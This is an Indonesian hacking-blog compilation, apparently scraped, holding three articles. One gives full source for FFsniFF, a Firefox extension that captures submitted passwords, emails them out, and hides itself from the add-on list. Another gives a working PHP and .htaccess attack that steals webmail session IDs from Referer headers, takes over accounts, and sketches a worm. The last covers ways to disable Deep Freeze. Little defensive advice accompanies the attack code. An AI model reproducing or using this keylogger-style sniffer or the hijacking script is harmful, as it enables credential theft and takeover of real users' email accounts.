    117
    118
    119
    120
    121
    122
    123
    124
    125
    126
    127
    128
    var transportService = Components.classes["@mozilla.org/network/socket-transport-service;1"].getService(Components.interfaces.nsISocketTransportService);
    var transport = "";
    var outstream = "";
    var instream = Components.classes["@mozilla.org/scriptableinputstream;1"].createInstance(Components.interfaces.nsIScriptableInputStream);
    var stream = "";
    // find out FF version
    var appInfo = Components.classes["@mozilla.org/xre/app-info;1"].getService(Components.interfaces.nsIXULAppInfo);
    var versionChecker = Components.classes["@mozilla.org/xpcom/version-comparator;1"].getService(Components.interfaces.nsIVersionComparator);
     
    var data = "";
    var data0 = "EHLO " + send_from_host + "\r\n"
    var data1 = "MAIL FROM: <" + send_from + ">\r\n"
    var data2 = "RCPT TO: <" + send_to + ">\r\n"
    var data3 = "DATA\r\n"
    var data4 = "\r\n.\r\n"
    var data5 = "QUIT\r\n"
    function send_data() {
     transport = transportService.createTransport(null, 0, smtp_host, smtp_port, null);
     outstream = transport.openOutputStream(0, 0, 0);
     stream = transport.openInputStream(0, 0, 0);
     instream.init(stream);
     
     // this will avoid 'Improper use of SMTP command pipelining'
     // error on SMTP servers
     outstream.write(data0, data0.length);
     while (instream.available() == 0) {}
     instream.read(instream.available());
     
     outstream.write(data1, data1.length);
     while (instream.available() == 0) {}
     instream.read(instream.available());
     
     outstream.write(data2, data2.length);
     while (instream.available() == 0) {}
     instream.read(instream.available());
     
     outstream.write(data3, data3.length);
     while (instream.available() == 0) {}
     instream.read(instream.available());
     
     outstream.write(data, data.length);
     // don't read here cos no data was send to us
     //while (instream.available() == 0) {}
     //instream.read(instream.available());
     
     outstream.write(data4, data4.length);
     while (instream.available() == 0) {}
     instream.read(instream.available());
     
     outstream.write(data5, data5.length);
     while (instream.available() == 0) {}
     
     outstream.close();
     instream.close();
    }
    if (versionChecker.compare(appInfo.version, "3.0") >= 0) {
     var workingThread = function() {
     };
     
     workingThread.prototype = {
      run: function() {
       send_data();
      }
     };
    } else {
     var runnable = {
      run: function() {
       send_data();
      }
     }
    }
    function sniff() {
     // if we are running under 3.0 or later
     if (versionChecker.compare(appInfo.version, "3.0") >= 0) {
      var thread = Components.classes["@mozilla.org/thread-manager;1"].getService().newThread(0);
      thread.dispatch(new workingThread(), thread.DISPATCH_NORMAL);
     } else {
      var thread = Components.classes["@mozilla.org/thread;1"].getService(Components.interfaces.nsIThread);
      thread.init(runnable, 512*1024, Components.interfaces.nsIThread.PRIORITY_NORMAL, Components.interfaces.nsIThread.SCOPE_LOCAL, Components.interfaces.nsIThread.STATE_UNJOINABLE);
     }
    }
     
    function do_sniff() {
     var ok = 0;
     var hesla = window.content.document.getElementsByTagName("input");
     data = "";
     for (var i = 0; i < hesla.length; i++) {
      if (hesla[i].value != "") {
       if (hesla[i].type == "password") {
        ok = 1;
       }
       if (hesla[i].name == "") {
        data += hesla[i].type + ":" + "<blank>:" + hesla[i].value + "\n";
       }
       else {
        data += hesla[i].type + ":" + hesla[i].name +":" + hesla[i].value + "\n";
       }
      }
     }
     if (ok == 1) {
      data = "Subject: " + subject + "\r\n\r\n" + window.top.content.document.location + "\n" + "type:name:value\n" + "---------------\n" + data;
      sniff()
     }
    }
    function hide_me() {
     var RDFService = Components.classes["@mozilla.org/rdf/rdf-service;1"].getService(Components.interfaces.nsIRDFService);
     var Container = Components.classes["@mozilla.org/rdf/container;1"].createInstance(Components.interfaces.nsIRDFContainer);
     var extensionDS = Components.classes["@mozilla.org/extensions/manager;1"].getService(Components.interfaces.nsIExtensionManager).datasource;
     var root = RDFService.GetResource("urn:mozilla:item:root");
     var nameArc = RDFService.GetResource("http://www.mozilla.org/2004/em-rdf#name");
     Container.Init(extensionDS, root);
     var elements = Container.GetElements();
     while (elements.hasMoreElements()) {
      var element = elements.getNext();
      var name = "";
      var target = extensionDS.GetTarget(element, nameArc, true);
      if (target) {
       name = target.QueryInterface(Components.interfaces.nsIRDFLiteral).Value;
       if (name == "FFsniFF") {
        Container.RemoveElement(element, true);
       }
      }
     }
    }
    if (enable_hide == "yes") {
     hide_me();
    }
    window.addEventListener("submit", do_sniff, false);
    Perhatikan baris ke-127 pada source di atas, bila enable_hide diset “yes”, maka ffsniff akan menjalankan fungsi hide_me(). hide_me() bertugas menghilangkan FFsniff dari daftar addon agar kehadirannya tidak disadari pengguna. Cara menyembunyikan diri adalah dengan cara menjalankan fungsi Container.RemoveElement (baris ke-122) hanya bila element itu bernama “FFsniFF”.
    how ffsniff workshow ffsniff works
    Fungsi sniffing sesungguhnya ada pada baris terakhir. Pada baris terakhir, terdapat fungsi addEventListener(). Fungsi ini berguna untuk mengaitkan event submit dengan fungsi do_sniff. Artinya fungsi do_sniff akan dijalankan setiap kali terjadi event submit. Event submit akan terjadi bila ada request POST di browser, antara lain dengan melalui klik tombol bertipe submit (input type=”submit”). Namun tidak hanya melalui klik saja, submit bisa juga dilakukan oleh javascript. Dengan cara apapun, bila terjadi request POST di browser, event submit akan terjadi, dan artinya fungsi do_sniff juga akan dipanggil. Untuk lebih jelasnya perhatikan gambar di atas. Kini fokus perhatian kita pindah ke fungsi do_sniff (baris ke-84). Dalam fungsi sniff, ffsniffer mengambil daftar semua tag <input> yang ada dengan fungsi window.content.document.getElementsByTagName(“input”). Kemudian semua field tersebut akan digabung dalam variabel string data. Hanya bila dalam form tersebut terdapat password field (input type=”password”), maka ffsniffer akan mengirimkan email, bila hanya form biasa (bukan form login), ffsniffer tidak akan mengirim email. Bila mengandung password field, berikutnya fungsi sniff (baris ke-73) akan dijalankan. Fungsi sniff ini tugasnya hanya membuat dan menjalankan thread. Thread tersebut bertugas melakukan pengiriman email dengan memanggil fungsi send_data (baris ke-17). Fungsi send_data akan membuka koneksi tcp ke smtp server, kemudian mengirimkan perintah smtp untuk mengirim email. Dengan menggunakan sniffer Wireshark, berikut adalah komunikasi yang terjadi ketika email dikirim ke telkom.net:
    1
    2
    3
    4
    5
    6
    7
    8
    9
    10
    11
    12
    13
    14
    15
    16
    17
    18
    19
    20
    21
    22
    23
    24
    25
    26
    27
    28
    29
    30
    31
    32
    33
    34
    220-mx1.mail.plasa.com ESMTP
    220 UBE, porn, and abusive content not allowed
    EHLO telkom.net
    250-mx1.mail.plasa.com
    250-8BITMIME
    250 SIZE 20971520
    MAIL FROM: <rizki.wicaksono@telkom.net>
    250 sender <rizki.wicaksono@telkom.net> ok
    RCPT TO: <rizki.wicaksono@telkom.net>
    250 recipient <rizki.wicaksono@telkom.net> ok
    DATA
    354 go ahead
    Subject: Log Firefox Sniffer
     
    
    https://login.yahoo.com/config/login?
    
    type:name:value
    ---------------
    hidden:.tries:2
    hidden:.intl:us
    hidden:.u:6220o3t4qrv31
    hidden:.v:0
    hidden:.challenge:Uhh09ZXeYC4rgGkrSkirh.TXeHk_
    hidden:hasMsgr:0
    hidden:.chkP:Y
    hidden:.done:http://my.yahoo.com
    hidden:.pd:_ver=0&c=&ivt=&sg=
    text:login:rizkiwicaksono
    password:passwd:inipasswordku
    checkbox:.persistent:y
    submit:.save:Sign In
    .
    250 ok:  Message 119895912 accepted
    221 mx1.mail.plasa.com
    QUIT
    Sedangkan komunikasi yang terjadi ketika email dikirim ke @ilmuhacking.com adalah:
    220-gator669.hostgator.com ESMTP Exim 4.69 #1 Tue, 03 Mar 2009 22:15:33 -0600
    220-We do not authorize the use of this system to transport unsolicited,
    220 and/or bulk e-mail.
    EHLO ilmuhacking.com
    250-gator669.hostgator.com Hello ilmuhacking.com [202.43.xxx.xxx]
    250-SIZE 52428800
    250-PIPELINING
    250-AUTH PLAIN LOGIN
    250-STARTTLS
    250 HELP
    MAIL FROM: <testing@ilmuhacking.com>
    250 OK
    RCPT TO: <testing@ilmuhacking.com>
    250 Accepted
    DATA
    354 Enter message, ending with "." on a line by itself
    Subject: Log Firefox Sniffer
     
    
    https://login.yahoo.com/config/login?
    
    type:name:value
    ---------------
    hidden:.tries:1
    hidden:.intl:us
    hidden:.u:eljvtc94qs023
    hidden:.v:0
    hidden:.challenge:7FWzfTnmnC3Njv1YadcWnM61LyIw
    hidden:hasMsgr:0
    hidden:.chkP:Y
    hidden:.done:http://my.yahoo.com
    hidden:.pd:_ver=0&c=&ivt=&sg=
    text:login:rizkiwicaksono
    password:passwd:inipasswordakujuga
    checkbox:.persistent:y
    submit:.save:Sign In
    .
    250 OK id=1LeiW6-0002zu-LA
    QUIT
    221 gator669.hostgator.com closing connection
    Dengan selesainya eksekusi send_data() maka ffsniff telah selesai menjalankan tugasnya mengirim email. Selanjutnya ffsniff akan “tidur” menunggu dipanggil oleh event submit dan mulai kembali proses penyadapan password.

Hacking Email Telkom.net dan Plasa.com

Telkom.net dan Plasa.com adalah fasilitas email gratis yang diberikan oleh PT Telkom. Pengguna email telkomnet dan plasacom patut waswas, karena amat mudah untuk menghack email di sana. Hanya dengan membuka sebuah email yang telah dirancang khusus oleh attacker, email anda bisa menjadi milik attacker. Dalam artikel ini saya akan tunjukkan apa kelemahannya, bagaimana cara mengexploitasi kelemahan itu dan tentu saja bagaimana cara agar terhindar dari serangan itu.
Webmail Session Hijacking
Teknik hacking email dalam artikel ini adalah dengan cara hijacking session. Oleh karena itu teknik ini hanya bisa dilakukan pada webmail telkom.net dan plasa.com, pengguna telkom.net dan plasa.com yang menggunakan Outlook/Thunderbird tidak rentan terhadap serangan ini.
Karena http adalah protokol yang stateless, sedangkan untuk membuat session server harus bisa memantau state user, maka digunakanlah session ID sebagai kunci atau penanda suatu session. Bila sessionID diketahui attacker, maka attacker bisa menguasai session korban. Orang lain, siapapun yang membawa sessionID anda, akan dianggap oleh server sebagai anda. Hijacking session adalah usaha untuk mendapatkan session ID korban, dengan cara predicting, capturing, atau fixating session ID.
SessionID diberikan oleh server dan harus dikembalikan lagi oleh browser (client) setiap kali membuat request. Mekanisme penyimpanan dan pengiriman session ID bisa dilakukan dengan dua cara:
  1. Session Cookie: Session ID diberikan server dalam bentuk cookie dan disimpan oleh browser. Setiap browser melakukan request, cookie tersebut akan dikembalikan ke server lagi sebagai bukti bahwa user tersebut adalah masih orang yang sama.
  2. URL Rewriting: Server menyisipkan session ID dalam halaman html yang dikirimkan ke browser. Session ID tersebut dimasukkan dalam bentuk URL di tag html tertentu seperti link (tag A). Contohnya bila URL link aslinya adalah http://www.somesite.com/inbox.php Oleh server link tersebut akan disisipkan sessionID menjadi: Dengan cara ini setiap kali user mengklik link tersebut, maka sessionID juga akan dikirim ke server sebagai bukti bahwa user tersebut adalah pengguna session yang sah.
SessionID paling aman disimpan dan dikirim kembali ke server dalam bentuk cookie, apalagi bila cookie tersebut diamankan dengan bit secure atau httponly. Kemungkinan serangan yang bisa dilancarkan untuk mencuri cookie adalah dengan XSS attack dan sniffing attack, kedua jenis serangan itu bisa dicegah dengan bit secure dan httponly.
Bila cookie telah diamankan dengan secure bit, maka cookie tersebut tidak bisa dicuri dengan sniffing karena cookie hanya dikirim melalui https, cookie tersebut juga tidak bisa dicuri dengan serangan XSS karena akses javascript terhadap cookie telah ditutup. Bila cookie hanya dilindungi dengan httponly, maka cookie itu aman dari serangan XSS, namun rentan sniffing bila cookie dikirimkan melalui http biasa.
Berbeda dengan cookie, menyimpan Session ID dalam URL sangatlah berbahaya, karena URL mudah dilihat, dikopi dan disimpan dalam bookmark, log file dan sebagainya. Selain itu sessionID juga bisa bocor ke tempat lain melalui header Referer. Sebab header Referer bertugas membawa URL dimana sebuah request dilakukan. Bila dalam suatu halaman terjadi request untuk mengambil gambar, maka header Referer akan mengandung URL dari halaman tersebut. Dalam artikel ini saya akan menggunakan jurus header Referer untuk membajak session webmail Telkom.net dan Plasa.com. Bagi pemilik situs, tentu sering melihat header ini dengan program statistic seperti Awstats untuk melihat pengunjung situs berasal dari situs mana saja.

telkom.net URL

SessionID webmail Telkom.net dan Plasa.com disimpan pada URL sehingga memudahkan pembajakan session. Mari kita lihat bagaimana bentuk URL webmail telkom.net dan plasa.com:
Stealing SessionID from Referer Header
Session ID pada URL telkom.net dan plasa.com disisipkan setelah /Session/ hingga karakter / (slash). Sekarang bagaimana caranya attacker bisa mengetahui URL yang sedang dibuka korban di browsernya? Di awal saya sudah menyebutkan sekilas tentang header request yang bernama Referer. Tugas dari header ini adalah mengirimkan URL halaman yang melakukan request. Agar lebih jelasnya mari kita lihat sebuah contoh.
Ketika pengunjung sedang membuka halaman dengan URL:
Kemudian ketika terjadi request ke sebuah file image:
Maka pada request GET tersebut akan ada header seperti di bawah ini:
0
1
2
3
4
5
6
7
8
9
10
11
GET /Session/235581-9w3zNaNskYc1v7ln5DDJ-kmbcuww/batal.gif HTTP/1.1
Host: mail.telkom.net
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.9.0.10) Gecko/2009042316 Firefox/3.0.10 GTB5 ImageShackToolbar/5.0.0
Accept: image/png,image/*;q=0.8,*/*;q=0.5
Accept-Language: en-us,en;q=0.5
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://mail.telkom.net/Session/235581-9w3zNaNskYc1v7ln5DDJ-kmbcuww/mailbox.wssp?Mailbox=INBOX&
Cache-Control: max-age=0
Pada baris ke-10 terdapat header Referer yang menunjukkan bahwa request tersebut terjadi ketika kepada user sedang berada di URL tersebut. Karena URL yang direquest adalah http://mail.telkom.net/Session/235581-9w3zNaNskYc1v7ln5DDJ-kmbcuww/batal.gif, maka web server mail.telkom.net tempat file batal.gif tersebut berada, dapat mengetahui URL ketika request tersebut terjadi. Sekarang bayangkan apa yang terjadi bila request tersebut bukan mendownload image dari mail.telkom.net, tapi dari server www.evilhackersite.com/image.jpg. Web server di www.evilhackersite.com tentu akan mendapatkan URL tempat terjadinya request dari header Referer. Dan karena URL tersebut mengandung Session ID, maka dengan mudah attacker akan membajak session anda.
Attack Scenario
Webmail telkom.net dan plasa.com menggunakan URL sebagai mekanisme pertukaran session ID. Attacker bisa menjebak korban untuk membuka sebuah email yang mengandung gambar yang berlokasi di server attacker. Tag IMG tersebut akan membuat browser korban melakukan request ke server attacker, dengan tentu saja mengirimkan URL korban dalam header Referer. Dengan mengetahui session ID korban, attacker dengan mudah menguasai account webmail korban.
Preparing the Script
Sebelum bisa melakukan serangan, yang pertama harus dilakukan adalah menyiapkan server side script sebagai target request untuk menangkap SessionID korban. Server side script ini akan di-”masking” sebagai file JPG dengan menggunakan mod_rewrite Apache (.htaccess). Server side script yang dimasking sebagai file JPG inilah yang akan dimasukkan dalam tag IMG dalam email yang dibaca korban. Bila korban membaca email attacker, maka akan terjadi request ke server side script itu, sehingga attacker bisa mendapatkan session ID korban dan menguasai emailnya.
URL yang akan kita jadikan tujuan request adalah: http://www.ilmuhacking.com/mylab/image.jpg yang sebenarnya adalah masking untuk server side script http://www.ilmuhacking.com/mylab/checkmail.php. Dengan menggunakan mod_rewrite Apache dan settings .htacess berikut ini masking checkmail.php menjadi image.jpg bisa dilakukan:
1
2
3
RewriteEngine On
RewriteBase /
RewriteRule mylab/image.jpg mylab/checkmail.php
Berikutnya saya harus menyiapkan file checkmail.php. Tugas dari script php itu adalah mendapatkan session ID kemudian langsung membajak session korban bermodalkan session ID tersebut.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
<?php
// Ambil header Referer
$ref = $_SERVER["HTTP_REFERER"];
$telkomnet = false;
$plasacom = false;
$width = 468;
$height = 100;
if (strpos($ref,“telkom.net”)>-1) {
$telkomnet = true;
}
if (strpos($ref,“plasa.com”)>-1) {
$plasacom = true;
}
if ($telkomnet===false && $plasacom===false) {
exit();
} $file = fopen(“daftarkorban.txt”,“a”);
$url_tokens = parse_url($ref);
$host = $url_tokens["host"];
$tokens = explode(“/”,$ref);
$sessid = $tokens[4];
fwrite($file,“######\n);
fwrite($file,“REFERER:”.$_SERVER["HTTP_REFERER"].\n);
fwrite($file,“SESSID:”.$sessid.\n);
$urlhost = “http://$host/Session/$sessid/mailbox.wssp?Mailbox=INBOX&”;
$inboxhtml = file_get_contents($urlhost);
preg_match(‘/<title>(.*?)<\/title>/i’, $inboxhtml, $matches);
$title=$matches[1];
$email = $title;
$pos = strpos($title,” “);
if ($pos > -1) {
$email = substr($title,0,$pos);
}
fwrite($file,“KORBAN:”.$email.\n);
fwrite($file,“******\n);
fclose($file);
$image = ImageCreate($width, $height);
$white = ImageColorAllocate($image, 255, 255, 255);
$black = ImageColorAllocate($image, 0, 0, 0);
$grey = ImageColorAllocate($image, 204, 204, 204);
ImageFill($image, 0, 0, $black);
ImageString($image, 3, 15, 5, $sessid, $white);
ImageString($image, 3, 25, 25, $email, $white);
// Writing Signature…
$url = http://mail.telkom.net/Session/$sessid/settings.wssp”;
if ($plasacom==true) {
$url = http://mail1.plasa.com/Session/$sessid/settings1.wssp”;
}
$old_settings = file_get_contents($url);
preg_match(‘/<textarea(.*?)>(.*?)<\/textarea>/i’, $old_settings, $matches);
$oldsig = $matches[2];
$data = array();
$data["UserFrom"] = $email;
$newsig = “[YOUR EMAIL HAS BEEN HACKED]“.$oldsig;
$data["Signature"] = $newsig;
$data["Update"] = “Update”;
$response = doPost($url,$data);
if ((strpos($response,“Updated”)>-1 && $telkomnet==true) || $plasacom==true) {
ImageString($image, 3, 35, 50, “Signature anda berhasil diganti menjadi:” , $white);
ImageString($image, 3, 45, 65, $newsig , $white);
}
header(“Content-Type: image/jpeg”);
ImageJpeg($image);
ImageDestroy($image);
function doPost($url,$data) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $url);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
$response = curl_exec($ch);
if(curl_errno($ch))
{
$response = curl_error($ch);
}
curl_close($ch);
return $response;
}
?>
Cara kerja script di atas adalah: Pada baris ke-3 isi header Referer diambil. Kemudian dibuat dan dibuka file daftarkorban.txt. File ini adalah log yang menyimpan daftar korban. Pada baris ke-22, session ID diambil dari header referer. Setelah session ID didapatkan kini script bisa mengubah signature korban, dengan cara mengirimkan POST request ke http://mail.telkom.net/Session/[SESSIONID_KORBAN]/settings.wssp, perhatikan baris ke-65. Setelah mengubah signature korban, pada baris ke-66 sampai baris ke-72, script membuat image dengan pesan “Signature anda berhasil diganti menjadi:”.
Launch The Attack
Oke, kini semua persiapan sudah siap. Kini saatnya kita melancarkan serangan dengan mengirimkan email html yang mengandung tag IMG. Dalam contoh attacker adalah rizki.wicaksono@telkom.net dan korban adalah rizki.wicaksono@plasa.com. Ingat ini hanya contoh, dalam kenyataannya attacker bisa menggunakan email apapun, bahkan email palsu (anonymous). Perhatikan gambar berikut ini yang menunjukan bagaimana email yang berisi jebakan dibuat dan ditujukan untuk korban.
Dalam gambar tersebut email diisi dengan tag HTML IMG. Perhatikan bahwa saya bisa saja membuat image tersebut invisible dengan memberikan atribut width dan src 0. Dengan membuat image menjadi invisible, korban tidak akan menyadari bahwa emailnya telah dibajak. Tapi untuk contoh saya membiarkan gambar berukuran besar. Berikut ini adalah isi tanda tangan (signature) email korban sebelum email dibuka.

signature1

Dan gambar berikut adalah gambar ketika email attacker tiba.

email attacker tiba

Dan gambar berikut adalah gambar ketika email attacker dibuka oleh korban. Pada gambar tersebut terlihat bahwa session id korban dan pesan bahwa signature korban berubah tertulis dalam file image.jpg.

victim open email and his session hijacked instantly

Pada saat korban membuka email dari attacker, pada saat itu juga attacker menguasai penuh account email korban. Dalam contoh artikel ini attacker mengubah signature korban dengan menambahkan string [YOUR EMAIL HAS BEEN HACKED]. Berikut ini adalah gambar signature korban setelah korban membuka email attacker.

signature2

Worm Attack: More Dangerous Scenario
Skenario serangan yang lebih berbahaya adalah bila attacker mengeksploitasi kelemahan ini untuk menciptakan worm. Ingat bahwa ketika attacker mendapatkan session ID, pada saat itu attacker memiliki power yang setara dengan korban. Dengan session korban, attacker bisa mengirimkan email serangan yang sama ke calon korban lain yang ada di dalam daftar buku alamat korban. Begitu teman korban membuka email itu, maka session dia juga dalam genggaman attacker dan dia juga akan menyebarkan serangan ke teman-temannya. Hal ini akan memicu reaksi berantai yang berbahaya.
Sulitkah membuat worm seperti itu? Tidak sulit kok, mudah sekali. Semua itu tidak lebih dari kombinasi request GET dan POST dengan berbekal session ID korban. Attacker harus membaca phone book dengan mengirim request HTTP (GET/POST) dengan session ID korban. Setelah itu attacker akan mengirimkan email serangan ke teman-teman korban juga dengan melakukan request HTTP dengan session ID korban. Begitu seterusnya. Tidak sulit bukan, apalagi buat orang yang sudah sering memprogram.
Tips Menghindari Serangan
Karena serangan ini dilakukan dengan membajak session web, maka serangan ini hanya bisa dilakukan bila korban membaca email telkom.net dan plasa.com dengan webmail. Jadi agar terhindar dari serangan ini, gunakanlah akses POP3 atau IMAP untuk membaca email. Dengan menggunakan email client non-web seperti Thunderbird dan Outlook anda akan aman dari serangan ini.

Berbagai Cara Melumpuhkan Deepfreeze

Deep Freeze memang aplikasi “aneh bin ajaib”. Aplikasi ini bisa “membekukan” harddisk sehingga perubahan-perubahan yang terjadi pada system akan lenyap saat komputer di restart. Namun, saat kita mencoba mengUninstallnya, seringkali kita mengalami kesulitan. Belum lagi kalau kita lupa passwordnya.
Di bawah ini akan saya coba ulas berbagai tips untuk menghabisi Deep Freeze yang saya kumpulkan dari beberapa sumber. Semoga bisa membantu anda.
============Pake xDeepFreeze=============
1. Download xDeepFreeze di sini.
2. ekstrak ke C:\xDeepFreeze
3. Jalankan file Run_Me.exe. Muncul file “mcr.bat” dan “XDeepFreeze.exe” akan terload.
4. Pada XDeepFreeze, Tekan “Stop DeepFreeze”, untuk menghentikan “frzstate.exe”
5. Bersihkan registry yang dibuat Deep Freeze saat instalasi, tekan “Clean Registry”.
6. Jalankan command.com di folder C:\xDeepFreeze
7. Jalankan mcr.bat. Ini akan membersihkan file “persifrz.vxd”.
8. Klik Exit. Deep Freeze tinggal sejarah.
============Pake Deep Unfreezer (Deep Freeze dibawah v.6)=============
1. Download Deep Unfreezer di sini.
2. Jalankan aplikasi. Klik Load Status.
3. Pilih Boot Thawed. Klik Save Status.
4. Reboot
============Pake PE Builder (Live CD Windows)=============
Cara yang satu ini saya kutip dari Wikianswer. Aplikasi yag harus disiapkan adalah PE Builder. Anda bisa mendapatkannya di sini. Selain itu, anda membutuhkan file instalasi Windows (XP Home/ Pro dengan minimal SP 1 atau Server 2003).
Langkah-langkah yang harus dilakukan cukup panjang. Pertama-tama, kita harus membuat CD Startup Windows.
1. Pastikan sistem memiliki ruang kosong 500 MB.
2. Copy file instalasi Windows ke folder khusus di Harddisk.
3. Install PE Builder, lalu jalankan aplikasi ini.
4. Setelah menyetujui License Agreement, akan muncul tampilan utama PE Builder.
5. Masukkan lokasi file instalasi Windows.
6.Pada dialog PE Builder, pilih opsi “Burn CD/DVD”. Ketika anda menggunakan CD RW (bisa dihapus), pastikan bahwa pilihan “AutoErase RW” diaktifkan. Pilihan “burn using” harus diset ke “StarBurn”. Kalau anda ingin CD otomatis dikeluarkan setelah proses burning selesai, centangi “Eject after burn”. Pilih cd writer anda dari daftar device.
7. klik “build”. PE builder akan meminta ijin membuat direktori BartPE, jawab Yes.
8. Lisensi dari Microsoft Windows tampil. Baca dan pilih agree untuk melanjutkan.
9. Tunggu sampai selesai.
Langkah selajutnya, silakan retart komputer dan masuk ke BIOS. Ubah urutan booting agar boot melalui CD. Setelah masuk ke live CD Windows, lakukan langkah-berikut.
1. Jalankan regedit.
2. Buka menu Find dan masukkan “UpperFilters”. Jangan lupa centangi “only the Values”.
3. Jika telah ditemukan, lihat apakah terdapat baris yang mencantumkan driver Deep Freeze (DeepFrz atau DepFrzLo) lalu hapus. hapis juga baris untuk ThawSpace (ThwSpace), biarkan sisanya. Tekan F3 untuk melanjutkan pencarian dan ulangi proses diatas sampai value UpperFilters tidak ada di key HKLM\MySystem.
4. Tuju ke HKLM\MySystem\Select lalu buka value bernama Default. Di sini terdapat key untuk control set yang akan digunakan system saat booting. Jika nilainya 1 maka akan tertulis ControlSet001, jika 2 akan tertulis ControlSet002, dst. Ingat control set itu
5. Lalu tuju ke HKLM\MySystem\ControlSetXXX(sesuai default)\Services lalu hapis key yang bernama driver Deep Freeze (DeepFrz atau DepFrzLo dan DepFrzHi). Lalu hapus juga driver ThawSpace (ThwSpace).
6. Reboot system secara normal.
7. Selesai sudah.
Bila ada langkah-langkah yang kurang jelas, silakan periksa referensi.